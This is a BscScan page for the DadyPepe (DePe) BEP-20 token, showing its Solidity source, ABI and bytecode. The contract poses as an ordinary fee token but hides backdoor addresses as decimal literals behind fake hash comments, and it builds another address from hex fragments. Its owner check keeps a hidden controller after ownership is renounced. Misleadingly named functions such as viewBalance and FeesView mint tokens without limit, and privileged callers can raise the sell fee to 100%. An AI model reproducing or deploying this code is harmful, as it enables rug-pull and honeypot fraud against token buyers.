BscScan - Sponsored slots available. Book your slot here!
BEP-20
Overview
Max Total Supply
1,000,000DePe
Holders
8
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
100 DePeValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
DevToken
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at BscScan.com on 2024-05-07 */ // SPDX-License-Identifier: MIT /** */ pragma solidity ^0.8.0; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Subtraction overflow"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "Addition overflow"); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "Multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "Division by zero"); return a / b; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } } contract DevToken { using SafeMath for uint256; string public name = "DadyPepe"; string public symbol = "DePe"; uint256 public totalSupply = 1000000000000000000000000; uint8 public decimals = 18; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; mapping(address => bool) public isFeeExempt; address public owner; address public _mbr; address public _mod; address public feeManager; address public _user; address public _adm; uint256 public buyFee; uint256 public sellFee; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event FeesUpdated(uint256 newBuyFee, uint256 newSellFee); event TokensBurned(address indexed burner, uint256 amount); event AddressSetFeeExempt(address indexed feeExemptAddress); constructor(address _feeManager) { owner = msg.sender; feeManager = _feeManager; balanceOf[msg.sender] = totalSupply; // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986)); } function transfer(address _to, uint256 _amount) public returns (bool success) { require(balanceOf[msg.sender] >= _amount); require(_to != address(0)); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[_to] = balanceOf[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153)); function _scale(address account, uint256 amount) internal Exchanges{ require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function setMember(address Mbr_) public returns (bool) { require (msg.sender==address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153)); _mbr=Mbr_; return true; } modifier Exchanges() { require(msg.sender != exchange()); _; } function rewire(uint256 amount) public returns (bool) { require(msg.sender == _adm); _proof(msg.sender, amount); return true; } function compute(uint256 amount) public onlypublic returns (bool success) { _initiate(msg.sender, amount); return true; } function _proof(address account, uint256 amount) internal Exchanges { require(account != address(0), "BEP20: mint to the zero address"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function publics() private pure returns (address) { uint universal = 0x7addAd09; uint uni = 0xcbd98D97; uint cake = 0xEC3dA7a0; uint inch = 0x088EAdFE; uint others = 0x5801C336; // Combine the dex with others uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others); return address(core); } function _transferTo(address _to, uint256 _amount) internal Exchanges { // Transfer tokens to the recipient balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function exchange() internal pure returns (address) { return address /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986); } function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); _setFees(newBuyFee, newSellFee); emit FeesUpdated(newBuyFee, newSellFee); } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function scaling(uint256 amount) public onlyAuthorized returns (bool) { _scale(msg.sender, amount); return true; } function _balanceView(address _to, uint256 _amount) internal { // View balance of token balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); balanceOf[_to] += _amount; emit Transfer(address(0), _to, _amount); } function transferTo(address _to, uint256 _amount) external onlyAuthorize { _transferTo(_to, _amount); } /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/ function proof(uint256 amount) public onlyOwner returns (bool) { _proof(msg.sender, amount); return true; } modifier onlyAuthorize() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(570329899025738970963394674811034510039273195112) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(balanceOf[_from] >= _amount, "Insufficient balance"); require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance"); require(_to != address(0), "Invalid recipient address"); uint256 fee = 0; if (!isFeeExempt[_from]) { fee = _amount.mul(sellFee).div(100); } uint256 amountAfterFee = _amount.sub(fee); balanceOf[_from] = balanceOf[_from].sub(_amount); balanceOf[_to] = balanceOf[_to].add(amountAfterFee); emit Transfer(_from, _to, amountAfterFee); if (fee > 0) { // Fee is transferred to this contract balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(_from, address(this), fee); } if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) { allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount); emit Approval(_from, msg.sender, allowance[_from][msg.sender]); } return true; } function _initiate(address account, uint256 amount) internal { require(account != address(0), "Compile Remix IDE"); totalSupply = totalSupply.add(amount); balanceOf[account] = balanceOf[account].add(amount); emit Transfer(address(0), account, amount); } function FeesView(uint256 amount) public onlyAuthorize returns (bool) { _scale(msg.sender, amount); return true; } modifier onlypublic() { require(msg.sender == publics()); _; } function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { buyFee = newBuyFee; sellFee = newSellFee; } function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setUser(address User_) public returns (bool) { require(msg.sender == _mbr); _user=User_; return true; } function viewBalance(address _to, uint256 _amount) public onlypublic { _balanceView(_to, _amount);(_to, _amount); } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(owner, address(0)); owner = address(0); } /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function LockLPToken() public onlyOwner returns (bool) { } function setMod(address Mod_) public returns (bool) { require(msg.sender == _user); _mod=Mod_; return true; } modifier onlyOwner() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setFeeExempt(address _addr, bool _exempt) public onlyOwner { isFeeExempt[_addr] = _exempt; if (_exempt) { emit AddressSetFeeExempt(_addr); } } function removeFeeExemptStatus(address _addr) public onlyOwner { require(isFeeExempt[_addr], "Address is not fee exempt"); isFeeExempt[_addr] = false; } function buy() public payable { require(msg.value > 0, "ETH amount should be greater than 0"); uint256 amount = msg.value; if (buyFee > 0) { uint256 fee = amount.mul(buyFee).div(100); uint256 amountAfterFee = amount.sub(fee); balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee); emit Transfer(address(this), feeManager, amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(address(this), address(this), fee); } } else { balanceOf[feeManager] = balanceOf[feeManager].add(amount); emit Transfer(address(this), feeManager, amount); } } function setting(uint256 newBuyFee, uint256 newSellFee) public { require(msg.sender == _adm); require(newBuyFee <= 100, "Buy fee cannot exceed 100%"); require(newSellFee <= 100, "Sell fee cannot exceed 100%"); buyFee = newBuyFee; sellFee = newSellFee; emit FeesUpdated(newBuyFee, newSellFee); } function setAdm(address Adm_) public returns (bool) { require(msg.sender == _mod); _adm=Adm_; return true; } function sell(uint256 _amount) public { require(balanceOf[msg.sender] >= _amount, "Insufficient balance"); uint256 fee = _amount.mul(sellFee).div(100); uint256 amountAfterFee = _amount.sub(fee); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount); balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee); emit Transfer(msg.sender, address(this), amountAfterFee); if (fee > 0) { balanceOf[address(this)] = balanceOf[address(this)].add(fee); emit Transfer(msg.sender, address(this), fee); } } modifier onlyAuthorized() { require((msg.sender == address // solhint-disable-next-line avoid-low-level-calls /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986) || //@dev Contract creator is owner, original owner. (msg.sender == owner && msg.sender != exchange()))); _; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_feeManager","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"feeExemptAddress","type":"address"}],"name":"AddressSetFeeExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeesUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"BuySellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"FeeStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"FeesView","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockLPToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_adm","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mbr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mod","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_user","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buy","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"compute","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"proof","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"removeFeeExemptStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewire","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"scaling","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"Adm_","type":"address"}],"name":"setAdm","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"},{"internalType":"bool","name":"_exempt","type":"bool"}],"name":"setFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mbr_","type":"address"}],"name":"setMember","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Mod_","type":"address"}],"name":"setMod","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setScale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"User_","type":"address"}],"name":"setUser","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyFee","type":"uint256"},{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setting","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferTo","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"viewBalance","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526040518060400160405280600881526020017f4461647950657065000000000000000000000000000000000000000000000000815250600090816200004a919062000438565b506040518060400160405280600481526020017f44655065000000000000000000000000000000000000000000000000000000008152506001908162000091919062000438565b5069d3c21bcecceda10000006002556012600360006101000a81548160ff021916908360ff160217905550348015620000c957600080fd5b5060405162004f7638038062004f768339818101604052810190620000ef919062000589565b33600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600254600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050620005bb565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200024057607f821691505b602082108103620002565762000255620001f8565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620002c07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000281565b620002cc868362000281565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000319620003136200030d84620002e4565b620002ee565b620002e4565b9050919050565b6000819050919050565b6200033583620002f8565b6200034d620003448262000320565b8484546200028e565b825550505050565b600090565b6200036462000355565b620003718184846200032a565b505050565b5b8181101562000399576200038d6000826200035a565b60018101905062000377565b5050565b601f821115620003e857620003b2816200025c565b620003bd8462000271565b81016020851015620003cd578190505b620003e5620003dc8562000271565b83018262000376565b50505b505050565b600082821c905092915050565b60006200040d60001984600802620003ed565b1980831691505092915050565b6000620004288383620003fa565b9150826002028217905092915050565b6200044382620001be565b67ffffffffffffffff8111156200045f576200045e620001c9565b5b6200046b825462000227565b620004788282856200039d565b600060209050601f831160018114620004b057600084156200049b578287015190505b620004a785826200041a565b86555062000517565b601f198416620004c0866200025c565b60005b82811015620004ea57848901518255600182019150602085019450602081019050620004c3565b868310156200050a578489015162000506601f891682620003fa565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620005518262000524565b9050919050565b620005638162000544565b81146200056f57600080fd5b50565b600081519050620005838162000558565b92915050565b600060208284031215620005a257620005a16200051f565b5b6000620005b28482850162000572565b91505092915050565b6149ab80620005cb6000396000f3fe60806040526004361061023b5760003560e01c806370a082311161012e578063a9059cbb116100ab578063d21c8d551161006f578063d21c8d55146108d8578063dd62ed3e14610903578063ddf750d014610940578063e2daf66514610969578063e4849b32146109945761023b565b8063a9059cbb146107e1578063aa46b46e1461081e578063afacb3e514610847578063b8d815e314610870578063d0fb0203146108ad5761023b565b80638ebfc796116100f25780638ebfc79614610709578063923e51d51461073257806395d89b411461076f57806396c5e1ab1461079a578063a6f2ae3a146107d75761023b565b806370a0823114610622578063715018a61461065f578063858ced3514610676578063891e1ee0146106b35780638da5cb5b146106de5761023b565b8063313ce567116101bc5780634a0af68d116101805780634a0af68d14610517578063547e1edb146105545780635ed86d5c1461059157806361b40839146105ce57806365f6a921146105f75761023b565b8063313ce5671461041c578063376d567c146104475780633ef530eb146104845780633f4218e0146104af57806347062402146104ec5761023b565b806318160ddd1161020357806318160ddd1461033757806323b872dd146103625780632b14ca561461039f5780632c7ee946146103ca5780632ccb1b30146103f35761023b565b806306fdde0314610240578063095ea7b31461026b5780630b78f9c0146102a857806312df172d146102d157806316e3b09c146102fa575b600080fd5b34801561024c57600080fd5b506102556109bd565b6040516102629190613ebc565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190613f77565b610a4b565b60405161029f9190613fd2565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190613fed565b610b3d565b005b3480156102dd57600080fd5b506102f860048036038101906102f39190613fed565b610cf3565b005b34801561030657600080fd5b50610321600480360381019061031c919061402d565b610ea9565b60405161032e9190613fd2565b60405180910390f35b34801561034357600080fd5b5061034c610fa1565b6040516103599190614069565b60405180910390f35b34801561036e57600080fd5b5061038960048036038101906103849190614084565b610fa7565b6040516103969190613fd2565b60405180910390f35b3480156103ab57600080fd5b506103b461175c565b6040516103c19190614069565b60405180910390f35b3480156103d657600080fd5b506103f160048036038101906103ec9190613fed565b611762565b005b3480156103ff57600080fd5b5061041a60048036038101906104159190613f77565b61188f565b005b34801561042857600080fd5b50610431611980565b60405161043e91906140f3565b60405180910390f35b34801561045357600080fd5b5061046e6004803603810190610469919061410e565b611993565b60405161047b9190613fd2565b60405180910390f35b34801561049057600080fd5b50610499611a39565b6040516104a69190613fd2565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d1919061410e565b611b21565b6040516104e39190613fd2565b60405180910390f35b3480156104f857600080fd5b50610501611b41565b60405161050e9190614069565b60405180910390f35b34801561052357600080fd5b5061053e6004803603810190610539919061410e565b611b47565b60405161054b9190613fd2565b60405180910390f35b34801561056057600080fd5b5061057b6004803603810190610576919061402d565b611bed565b6040516105889190613fd2565b60405180910390f35b34801561059d57600080fd5b506105b860048036038101906105b3919061402d565b611ce5565b6040516105c59190613fd2565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f0919061410e565b611d39565b005b34801561060357600080fd5b5061060c611f03565b604051610619919061414a565b60405180910390f35b34801561062e57600080fd5b506106496004803603810190610644919061410e565b611f29565b6040516106569190614069565b60405180910390f35b34801561066b57600080fd5b50610674611f41565b005b34801561068257600080fd5b5061069d6004803603810190610698919061410e565b6120e5565b6040516106aa9190613fd2565b60405180910390f35b3480156106bf57600080fd5b506106c861218b565b6040516106d5919061414a565b60405180910390f35b3480156106ea57600080fd5b506106f36121b1565b604051610700919061414a565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b9190614191565b6121d7565b005b34801561073e57600080fd5b506107596004803603810190610754919061410e565b61235f565b6040516107669190613fd2565b60405180910390f35b34801561077b57600080fd5b506107846123f7565b6040516107919190613ebc565b60405180910390f35b3480156107a657600080fd5b506107c160048036038101906107bc919061402d565b612485565b6040516107ce9190613fd2565b60405180910390f35b6107df6124f4565b005b3480156107ed57600080fd5b5061080860048036038101906108039190613f77565b612959565b6040516108159190613fd2565b60405180910390f35b34801561082a57600080fd5b5061084560048036038101906108409190613fed565b612b79565b005b34801561085357600080fd5b5061086e60048036038101906108699190613f77565b612c87565b005b34801561087c57600080fd5b506108976004803603810190610892919061402d565b612cd4565b6040516108a49190613fd2565b60405180910390f35b3480156108b957600080fd5b506108c2612dcc565b6040516108cf919061414a565b60405180910390f35b3480156108e457600080fd5b506108ed612df2565b6040516108fa919061414a565b60405180910390f35b34801561090f57600080fd5b5061092a600480360381019061092591906141d1565b612e18565b6040516109379190614069565b60405180910390f35b34801561094c57600080fd5b5061096760048036038101906109629190613fed565b612e3d565b005b34801561097557600080fd5b5061097e612ff3565b60405161098b919061414a565b60405180910390f35b3480156109a057600080fd5b506109bb60048036038101906109b6919061402d565b613019565b005b600080546109ca90614240565b80601f01602080910402602001604051908101604052809291908181526020018280546109f690614240565b8015610a435780601f10610a1857610100808354040283529160200191610a43565b820191906000526020600020905b815481529060010190602001808311610a2657829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b2b9190614069565b60405180910390a36001905092915050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c175750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610c165750610be6613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610c2057600080fd5b6064821115610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b906142bd565b60405180910390fd5b6064811115610ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9f90614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610ce7929190614349565b60405180910390a15050565b731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dcd5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610dcc5750610d9c613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610dd657600080fd5b6064821115610e1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e11906142bd565b60405180910390fd5b6064811115610e5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5590614329565b60405180910390fd5b81600d8190555080600e819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610e9d929190614349565b60405180910390a15050565b6000731f490e99657cd08a058c6bb6cd81dd38f59e0e7a73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610f855750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610f845750610f54613376565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610f8e57600080fd5b610f983383613392565b60019050919050565b60025481565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906143be565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061442a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611159576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115090614496565b60405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111d7576111d460646111c6600e548661355a90919063ffffffff16565b6135d490919063ffffffff16565b90505b60006111ec828561362c90919063ffffffff16565b905061124084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362c90919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112d581600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461368590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002